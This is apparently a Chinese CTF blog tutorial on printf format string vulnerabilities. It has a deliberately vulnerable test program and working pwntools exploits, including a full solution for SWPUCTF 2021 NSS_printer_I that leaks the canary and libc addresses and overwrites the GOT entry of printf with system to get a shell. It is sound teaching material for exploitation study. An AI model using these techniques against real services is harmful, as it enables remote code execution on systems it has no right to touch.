格式化字符串漏洞

文章发布时间:

最后更新时间:

在你的内存刻上奇怪的符号

函数原型
printf (“格式化字符串”,参量… )
函数的返回值是正确输出的字符的个数,如果输出失败,返回负值。
参量表中参数的个数是不定的(如何实现参数的个数不定,可以参考《程序员的自我修养》这本书),可以是一个,可以是两个,三个…,也可以没有参数。
printf函数的格式化字符串常见的有 %d,%f,%c,%s,%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)等等。
但是有个不常见的格式化字符串 %n ,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。

除了%n,还有%hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。 注意是对应参数(这个参数是指针)的对应的地址开始起几个字节。不要觉得%lln,取的是8个字节的指针,%n取的就是4个字节的指针,取的是多少字节的指针只跟程序的位数有关,如果是32位的程序,%n取的就是4字节指针,64位取的就是8字节指针,这是因为不同位数的程序,每个参数对应的字节数是不同的。
接下来写个程序看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//gcc -no-pie test.c -fno-stack-protector  -z execstack -o test
#include <stdio.h>

int d = 1; //fmt1
char x[] ="/bin/sh"

int main()
{
int n=0;
printf("aaaaa%n\n",&n);
printf("%d\n",n);

int a=114;
printf("%d\n",a);

char b[]="str1k3";
printf(b);
printf("\n");

char c[256];
read(0,c,0x64); //fmt
printf(c);
puts(x); //fmt2

if(d==0)
{
backdoor();
}
return 0;
}

int backdoor()
{
return system("/bin/sh");
}
1
2
3
4
5
6
7
Starting program: /home/str1k3/Desktop/test 
aaaaa
5
114
str1k3
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0xa-(nil)-(nil)-0xa-0x7c-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x7025-0x401090-0x336b3172747320[Inferior 1 (process 14255) exited normally]

如果我们只传入了格式化字符串而没有传入参数

那么格式化字符串仍然会遵循着原先的逻辑,向高地址处逐个字长的输出当前栈的内容/指针(输出的方式根据其格式化字符的不同而不同)

这是因为printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束

pwntools已集成格式化字符串漏洞攻击方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
p = process('./test')
elf =ELF('./test')
context(log_level='debug',arch='amd64', os='linux')
def fmt1():
p.recv()
payload=fmtstr_payload(6,{0x404048:0}) #把d改为0
p.sendline(payload)
p.interactive()

def fmt2():
p.recv()
payload=fmtstr_payload(6,{elf.got['puts']:elf.plt['system']}) #把read改为system,执行/bin/sh
p.sendline(payload)
p.interactive()

#fmt1()
fmt2()

下面放一道综合一点的题
[SWPUCTF 2021 新生赛]NSS_printer_I
checksec

1
2
3
4
5
6
[*] '/home/str1k3/.cache/vmware/drag_and_drop/3CJjqN/NSS_printer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
init();
while ( 1 )
{
puts("======================================");
puts("=====welcone to use NSS printer!======");
printf("input what you want to say: ");
read(0, buf, 0x64uLL);
printf("you said:");
printf(buf);
}
}

保护全开。存在格式化字符串漏洞,考虑内存任意写改got表。开了pie,可利用地址相对位置不变,地址后三位不变的特性绕过。
最终想法是把printf改成system,然后通过手动输入/bin/sh来拿到shell

用上文的测试方式:aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
可调试得:
偏移:6
11(_start)+ 6 = 17 #有些师傅用的这个来算基址
13(canary)+ 6(偏移) = 19(真实地址)
15(__libc_start_main)+6(偏移) = 21(真实地址)
19(main)+6(偏移) = 25(真实地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from LibcSearcher import *
from pwn import*

context(os='linux', arch='amd64', log_level='debug')
p = process('./NSS_printer')
#p = remote('node1.anna.nssctf.cn', 28831)
elf = ELF('./NSS_printer')
libc = ELF('./libc-2.23.so')

payload1 = "%19$p..%21$p-%25$p"
p.recvuntil("input what you want to say: ")
p.sendline(payload1)
p.recvuntil('you said:')
canary = int(p.recv(18),16)
print('canary_addr',hex(canary))

p.recvuntil('..')
libc_start_main = int(p.recv(14),16)-240
print('libc_start_main',hex(libc_start_main))

p.recvuntil('-')
elf_base = int(p.recv(14),16)-0xA14 #main函数的偏移
printf_addr = elf_base+elf.got['printf']
print('elf_base',hex(elf_base))
print('printf_addr',hex(printf_addr))

libc = LibcSearcher('__libc_start_main',libc_start_main)

libc_base = libc_start_main - libc.dump("__libc_start_main")
system_addr = libc_base + libc.dump("system")
bin_addr = libc_base + libc.dump("str_bin_sh")

print('libc_start_main:',hex(libc_start_main))
print('libc_base:',hex(libc_base))
print('system_addr:',hex(system_addr))
print('bin_addr:',hex(bin_addr))

payload = fmtstr_payload(6,{printf_addr:system_addr},write_size='short')
print(len(payload))
p.recvuntil("input what you want to say: ")
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()